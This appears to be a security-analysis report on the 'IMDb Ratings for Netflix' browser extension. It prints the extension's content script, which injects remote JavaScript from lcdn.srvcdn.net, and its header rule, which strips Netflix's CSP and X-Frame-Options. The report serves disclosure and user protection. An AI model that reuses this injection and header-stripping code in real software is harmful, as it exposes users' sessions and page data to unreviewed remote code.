Is IMDb Ratings for Netflix™ safe?
IMDb Ratings for Netflix removes Netflix page protections and injects JavaScript from lcdn.srvcdn.net.
On Netflix pages, the extension removes Content-Security-Policy and X-Frame-Options headers, then appends a remote script after the page loads. The confirmed claim identifies page URL and DOM content as data involved, with the remote code loaded from lcdn.srvcdn.net.
Who publishes itCodeCollective - no other listings under this identity
CodeCollective - no other listings under this identity
What this publisher told the store about itself, and the other listings that told it the same thing.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
IMDb Ratings for Netflix strips Netflix's CSP, then injects a remote script
On every netflix.com page, the extension's content script loads and runs a script from lcdn.srvcdn.net, while a bundled rule removes Netflix's Content-Security-Policy and X-Frame-Options headers from the same page.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-829
- Source
- Dynamic sandbox
You open or navigate to a page on netflix.com.
The extension's content script appends a script tag that loads and runs code from lcdn.srvcdn.net directly on the page.
A bundled network rule also strips Netflix's Content-Security-Policy and X-Frame-Options response headers on the same request.
The content script that injects the remote script tag
(function () { "use strict"; console.debug("content script loaded"); (function () { window.addEventListener("DOMContentLoaded", () => { const script = document.createElement("script"); script.setAttribute("type", "text/javascript"); script.setAttribute("charset", "utf-8"); script.src = "https://lcdn.srvcdn.net/h.js?c=InNyYyI6Im5mIiwibmQiOnRydWUsIm1kNiI6dHJ1ZQ=="; script.async = true; document.documentElement.appendChild(script); }); })();})();The declarativeNetRequest rule that strips Netflix's CSP and X-Frame-Options (cspRules.json)
[ { "id": 1, "priority": 1, "action": { "type": "modifyHeaders", "responseHeaders": [ // Lets any site frame netflix.com in an iframe; clickjacking protection off { "header": "X-Frame-Options", "operation": "remove" }, // Removes the policy that would otherwise block the injected <script> { "header": "Content-Security-Policy", "operation": "remove" }, // Removes the reporting-only variant too, so no CSP violation report fires { "header": "content-security-policy-report-only", "operation": "remove" } ] }, "condition": { // Applies to every netflix.com response, top-level page and embedded frames "urlFilter": "||netflix.com/", "resourceType": ["main_frame", "sub_frame"] } }]200 OK, approximately 150KB of obfuscated JavaScript, executed directly in the Netflix page context.
The 'c' query parameter is base64 and decodes to a small JSON fragment that flags the request as coming from Netflix. It does not reveal what the remote script does, since that code is not shipped with the extension and can be changed by the server at any time.
"src":"nf","nd":true,"md6":true- lcdn.srvcdn.net
Serves the script injected into every Netflix page. Its contents are not part of the extension package and are not reviewed by the Chrome Web Store.
What it can do
Permissions this extension asks for, as declared in version 4.1.3. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on netflix.com
*://*.netflix.com/*
Where it sends data
Destinations our analysis observed IMDb4NF contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- lcdn.srvcdn.net
IMDb4NF sends data to lcdn.srvcdn.net. No other extension we have analysed sends data here.